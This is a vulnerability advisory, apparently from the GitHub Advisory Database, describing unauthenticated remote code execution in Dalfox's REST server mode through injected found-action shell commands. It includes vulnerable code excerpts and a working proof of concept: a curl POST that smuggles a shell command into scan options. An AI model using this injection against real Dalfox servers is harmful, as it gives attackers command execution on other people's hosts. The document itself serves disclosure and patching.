github.com/hahwul/dalfox/v2
Affected
- introduced
0, fixed2.13.0(semver)
Fixed versions
2.13.0
Fix
- Fixed version
2.13.0go get github.com/hahwul/dalfox/[email protected]
Advisory
Also known as: CVE-2026-45087, GO-2026-5649
Dalfox Server Mode Vulnerable to Unauthenticated Remote Code Execution via found-action
GHSA: Unauthenticated Remote Code Execution via found-action in Dalfox Server Mode
Summary
When dalfox is started in REST API server mode (dalfox server), the server binds to 0.0.0.0:6664 by default and requires no API key unless the operator explicitly passes --api-key. Because model.Options — including FoundAction and FoundActionShell — is deserialized directly from attacker-supplied JSON in POST /scan, and because dalfox.Initialize explicitly propagates those two fields into the final scan options without stripping them, any unauthenticated caller who can reach the server port can supply an arbitrary shell command that the dalfox process will execute on the host whenever a scan finding is triggered.
Severity
Critical (CVSS 3.1: 10.0)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
0.0.0.0 by default; reachable by any network peer.Affected Component
cmd/server.go — init() (line 51): --api-key defaults to ""pkg/server/server.go — setupEchoServer() (line 68): auth middleware only registered when APIKey != ""pkg/server/server.go — postScanHandler() (lines 173–191): rq.Options passed to ScanFromAPI without sanitizationlib/func.go — Initialize() (lines 118–119): FoundAction / FoundActionShell explicitly propagated from caller optionspkg/scanning/foundaction.go — foundAction() (lines 17–18): exec.Command(options.FoundActionShell, "-c", afterCmd) executed unconditionallyCWE
Description
Opt-in Authentication with a Dangerous Default
cmd/server.go registers the --api-key flag with an empty string default:
// cmd/server.go:51
serverCmd.Flags().StringVar(&apiKey, "api-key", "", "Specify the API key for server authentication...")
setupEchoServer only installs the apiKeyAuth middleware when that value is non-empty:
// pkg/server/server.go:68-70
if options.ServerType == "rest" && options.APIKey != "" {
e.Use(apiKeyAuth(options.APIKey, options))
}
A server started without --api-key accepts every request on every route with no challenge. The apiKeyAuth implementation itself is correct — the flaw is purely in the opt-in condition that makes authentication off by default.
Attacker-Controlled Options Reaches Shell Execution Without Stripping
POST /scan deserializes the full model.Options struct from the JSON body:
// pkg/server/model.go:6-8
type Req struct {
URL string `json:"url"`
Options model.Options `json:"options"`
}
// pkg/server/server.go:173-191
rq := new(Req)
if err := c.Bind(rq); err != nil { ... }
go ScanFromAPI(rq.URL, rq.Options, *options, sid)
model.Options exposes both execution-control fields as JSON-tagged properties:
// pkg/model/options.go:83-84
FoundAction string `json:"found-action,omitempty"`
FoundActionShell string `json:"found-action-shell,omitempty"`
ScanFromAPI builds the scan target directly from rqOptions and passes it to dalfox.Initialize:
// pkg/server/scan.go:22-27
target := dalfox.Target{
URL: url,
Method: rqOptions.Method,
Options: rqOptions,
}
newOptions := dalfox.Initialize(target, target.Options)
Initialize explicitly copies both fields into newOptions — there is no stripping path:
// lib/func.go:118-119
"FoundAction": {&newOptions.FoundAction, options.FoundAction},
"FoundActionShell": {&newOptions.FoundActionShell, options.FoundActionShell},
Shell Execution on Any Finding
foundAction is called from seven locations across pkg/scanning/scanning.go and pkg/scanning/sendReq.go whenever options.FoundAction != "" and any vulnerability is detected. None of these call sites check options.IsAPI:
// pkg/scanning/foundaction.go:12-18
func foundAction(options model.Options, target, query, ptype string) {
afterCmd := options.FoundAction
afterCmd = strings.ReplaceAll(afterCmd, "@@query@@", query)
afterCmd = strings.ReplaceAll(afterCmd, "@@target@@", target)
afterCmd = strings.ReplaceAll(afterCmd, "@@type@@", ptype)
cmd := exec.Command(options.FoundActionShell, "-c", afterCmd)
err := cmd.Run()
...
}
Because the attacker supplies both the scan target URL and found-action, they trivially guarantee that a finding is produced (by hosting a one-line reflective server) and that the shell command is executed.
Proof of Concept
# Step 1 — Start a reflective XSS target (attacker-controlled)
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
class H(BaseHTTPRequestHandler):
def do_GET(self):
q = parse_qs(urlparse(self.path).query).get('q', [''])[0]
body = f'<html><body>{q}</body></html>'.encode()
self.send_response(200)
self.send_header('Content-Type', 'text/html')
self.send_header('Content-Length', str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, *a): pass
HTTPServer(('127.0.0.1', 18081), H).serve_forever()
PY
# Step 2 — Start dalfox in REST server mode (default: 0.0.0.0:6664, no API key)
go run . server --host 127.0.0.1 --port 16664 --type rest
# Step 3 — POST unauthenticated scan request with found-action payload
curl -s -X POST http://127.0.0.1:16664/scan \
-H 'Content-Type: application/json' \
--data '{
"url": "http://127.0.0.1:18081/?q=test",
"options": {
"found-action": "echo owned >/tmp/dalfox_rce_marker",
"found-action-shell": "bash",
"use-headless": false,
"worker": 1,
"limit-result": 1
}
}'
# Step 4 — Confirm arbitrary command executed on the dalfox host
cat /tmp/dalfox_rce_marker
# Expected output: owned
No X-API-KEY header is required. The reflective server ensures dalfox finds a vulnerability, which triggers foundAction.
Impact
dalfox server in its default configuration.0.0.0.0 bind address means exposure to all network interfaces, including public-facing ones in misconfigured cloud environments.Critical Basis: The source's own band: CRITICAL
0, fixed 2.13.0 (semver)2.13.0
2.13.0go get github.com/hahwul/dalfox/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0